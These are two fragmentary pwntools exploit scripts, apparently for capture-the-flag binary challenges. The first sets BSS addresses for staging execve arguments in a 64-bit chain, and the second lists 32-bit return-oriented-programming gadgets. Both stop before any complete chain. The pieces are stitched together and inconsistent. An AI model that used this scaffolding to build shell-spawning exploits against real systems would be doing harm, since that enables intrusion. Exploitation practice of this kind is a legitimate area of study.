0x705h

from pwn import *

BSS = 0x00000000006bb2e0
BSS_ADDR = p64(BSS) 
BSS_ADDR_PLUS_16 = p64(BSS + 16)
BSS_ADDR_PLUS_16_PLUS_8 = p64(BSS + 16 + 8)

# to execute sys_execve in 64bit
# we need to check on this table
# https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

0x705h

from pwn import *

# we need to write the params for execve
# there is no libc here! :D

# Gadgets

#0x080a8e36 : pop eax ; ret
#0x080481c9 : pop ebx ; ret
#0x08056334 : pop eax ; pop edx ; pop ebx ; ret